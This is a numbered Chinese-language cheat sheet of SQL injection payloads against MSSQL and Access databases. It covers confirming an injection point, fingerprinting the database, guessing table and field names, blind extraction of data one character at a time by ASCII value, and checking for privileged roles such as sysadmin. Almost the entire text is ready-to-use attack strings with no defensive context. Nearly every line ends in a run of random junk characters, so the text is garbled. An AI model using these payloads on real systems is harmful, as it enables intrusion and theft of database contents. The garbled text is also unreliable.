1.判断是否有注入;and 1=1 ;and 1=2 76bMy4re
2.初步判断是否是mssql ;and user>0 xP_/5N=f
*Y?oAVkz
3.注入参数是字符'and [查询条件] and ''=' /vq$/
)Gavjj&uJ
4.搜索时没过滤参数的'and [查询条件] and '%25'=' DuNindo8
`m#-J;la
5.判断数据库系统 YA@MLZm
c7~R0nP
;and (select count(*) from sysobjects)>0 mssql cnS;9=,&
8\"Gs z
;and (select count(*) from msysobjects)>0 access Y)DAR83
}zks@7kf
Unv'm5/L
L2+cVR
6.猜数据库 ;and (select Count(*) from [数据库名])>0 AT)b/ycC
$|xSM2
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 n\)1Bz
F~i ~%f,
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 4(sHUWT
JO`r)_
9.(1)猜字段的ascii值(access) J$sBfOD
~+j2a3rv-{
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 1
_Oc1RM
PWZd<
(2)猜字段的ascii值(mssql) qEuO@oE
s;YbZ*oaMe
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 {1Y@%e
}% f7O
10.测试权限结构(mssql) 0
zK{)HZ
q8&l%-d`
xu_,0ZT]{
'B{FRK
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- [al$sCD]+
A+!,{G
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- zBlv?JwG
Cdib{y<ji
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- L-}J=n\
$&&E[JY
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 2mnAL#
FLs$
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Gc"hU:m
E(j#R"
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- -&sY